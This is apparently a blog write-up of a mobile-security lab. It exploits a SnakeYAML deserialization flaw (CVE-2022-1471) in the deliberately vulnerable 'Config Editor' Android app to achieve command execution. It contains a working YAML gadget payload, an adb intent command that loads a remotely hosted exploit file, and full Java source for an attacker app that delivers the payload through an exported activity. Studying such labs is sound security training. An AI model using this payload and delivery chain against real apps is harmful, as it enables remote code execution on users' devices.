Description: Welcome to the Config Editor Challenge! In this lab, you’ll dive into a realistic situation involving vulnerabilities in a widely-used third-party library. Your objective is to exploit a library-induced vulnerability to achieve RCE on an Android application.
Install the APP with ADB
adb install -r configEditor.apk
We can see that there ask for storage permissions.
Also, notice that we have two buttons, load
and save
.
We have an TextEdit so, we can save this text content into a .yml
file.
By default, it select the Downloads directory.
Also, when we load a the file, it by default search in Downloads directory.
Notice that when we save the file, it saved as example.yml (1)
. Its weird because I don’t have any .yml
file previous to this challenges.
So, let’s try the example.yml
file.
Not what I expected..
But, why this app use .yml
file for store text plain information?
About .yml
and Android
A .yml
file (YAML Ain’t Markup Language) is a data serialization format widely used for its simplicity and human readability. In the context of mobile hacking, .yml
files can be a goldmine for an attacker, as they often contain critical settings, credentials or important paths.
Use of .yml
1️⃣ Configuration Files
- They store application configurations, such as API endpoints, encryption keys, permission settings, etc.
2️⃣ Credential Files
- In poorly configured environments, they may contain API keys, secrets, or even login credentials.
3️⃣ Data persistence
- Some apps use YAML to store serialized user or session data.
4️⃣ Build Tools configuration
- Tools such as Gradle, CI/CD pipelines (Jenkins, GitLab CI) or specific frameworks can use
.yml
to configure the build and deployment environment.
Let’s continue with the challenge!
Decompile the apk with apktool
apktool d configEditor.apk
Also, let’s import the apk into jadx for source code revision.
We can see that in this method (loadYaml
)
public final void loadYaml(Uri uri) {
try {
ParcelFileDescriptor openFileDescriptor = getContentResolver().openFileDescriptor(uri, "r");
try {
ParcelFileDescriptor parcelFileDescriptor = openFileDescriptor;
FileInputStream inputStream = new FileInputStream(parcelFileDescriptor != null ? parcelFileDescriptor.getFileDescriptor() : null);
DumperOptions $this$loadYaml_u24lambda_u249_u24lambda_u248 = new DumperOptions();
$this$loadYaml_u24lambda_u249_u24lambda_u248.setDefaultFlowStyle(DumperOptions.FlowStyle.BLOCK);
$this$loadYaml_u24lambda_u249_u24lambda_u248.setIndent(2);
$this$loadYaml_u24lambda_u249_u24lambda_u248.setPrettyFlow(true);
Yaml yaml = new Yaml($this$loadYaml_u24lambda_u249_u24lambda_u248);
Object deserializedData = yaml.load(inputStream);
String serializedData = yaml.dump(deserializedData);
ActivityMainBinding activityMainBinding = this.binding;
if (activityMainBinding == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
activityMainBinding = null;
}
activityMainBinding.contentArea.setText(serializedData);
Unit unit = Unit.INSTANCE;
Closeable.closeFinally(openFileDescriptor, null);
} finally {
}
} catch (Exception e) {
Log.e(TAG, "Error loading YAML: " + uri, e);
}
}
We can notice how is configured.
Continue reading the class, you can notice that in the loadYaml()
function, if we insert special chars like >
or |
, (then save file) and we filter logcat with
adb logcat | grep "Error"
We can see that we get the Error loading YAML: message.
Notice that the third-party library is SnakeYAML.
Some days ago, I was realize an Mobile CTF from PwnSec CTF 2024 that have an SnakeYAML Deserialization.
https://lautarovculic.com/pwnsec-ctf-2024-snake/
So we must handle a deserialization attack. For this, we need search in the source code about some function that execute commands.
After a simple search in jadx
We can found the LegacyCommandUtil
class.
public final class LegacyCommandUtil {
public LegacyCommandUtil(String command) {
Intrinsics.checkNotNullParameter(command, "command");
Runtime.getRuntime().exec(command);
}
}
As well in my previous CTF challenge, we need exploit CVE-2022-1471
https://www.veracode.com/blog/research/resolving-cve-2022-1471-snakeyaml-20-release-0
So, the payload probably must look like:
exploit: !!com.mobilehackinglab.configeditor.LegacyCommandUtil ["command"]
For example, my machine IP is 192.168.18.44
and the mobile device IP 192.168.18.162
.
Let’s create this .yml
file:
exploit: !!com.mobilehackinglab.configeditor.LegacyCommandUtil ["ping 192.168.18.44"]
And, let’s set up a tcpdump
command for listen the ICMP request
sudo tcpdump -i wlan0 | grep ICMP
Then, save the file in an .yml
file with the app. And also, load the .yml
file.
Notice that we receive the ICMP request due to ping command.
You also can test many others commands -repeating the same process, you can notice if the command work or not filtering with logcat
adb logcat | grep "Error"
So, we finish the lab. But, you has been notice that the app have exported=true
the activity, and also have the intent?
We can craft an “malicious” app that send the .yml
file for be processed by Config Editor app through the file scheme and via http/https.
So, in our machine, host with a python server the exmploit.yml
file.
python3 -m http.server 8081
Then send through ADB for test
adb shell am start -n com.mobilehackinglab.configeditor/.MainActivity -a android.intent.action.VIEW -d "http://192.168.18.44:8081/exploit.yml"
And yes, this work!
Taking advantage of the fact that the activity is exported, we can create a simple app that sends an intent.
package com.lautaro.exploiteditor;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// Create intent
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("http://192.168.18.44:8081/exploit.yml"));
intent.setClassName("com.mobilehackinglab.configeditor", "com.mobilehackinglab.configeditor.MainActivity");
// Launch intent
startActivity(intent);
// Finish malicious app
finish();
}
}
Or more better!!! We can use the file scheme, if we don’t care about host the .yml
file in an external server or the victim device don’t have internet access.
We can create an .yml
file with our app, then, send the intent loading the exploit.
package com.lautaro.exploiteditor;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStreamWriter;
public class MainActivity extends AppCompatActivity {
private static final String TAG = "ExploitLauncher";
private static final String FILE_NAME = "exploit.yml";
private static final String EXPLOIT_CONTENT = "exploit: !!com.mobilehackinglab.configeditor.LegacyCommandUtil [\"ping 192.168.18.44\"]";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
// Create file
File file = new File(getFilesDir(), FILE_NAME);
FileOutputStream fos = new FileOutputStream(file);
OutputStreamWriter writer = new OutputStreamWriter(fos);
writer.write(EXPLOIT_CONTENT);
writer.close();
fos.close();
Log.d(TAG, "Archivo exploit.yml creado en: " + file.getAbsolutePath());
// Create intent
Uri fileUri = Uri.parse("file://" + file.getAbsolutePath());
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setDataAndType(fileUri, "application/yaml");
intent.setClassName("com.mobilehackinglab.configeditor", "com.mobilehackinglab.configeditor.MainActivity");
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
Log.d(TAG, "Intent enviado correctamente con archivo exploit.yml");
} catch (Exception e) {
Log.e(TAG, "Error al crear o enviar el exploit.yml", e);
}
// Finish our app
finish();
}
}
Don’t forget put in the AndroidManifest.xml
this permissions
I hope you found it useful (:
Leave a Reply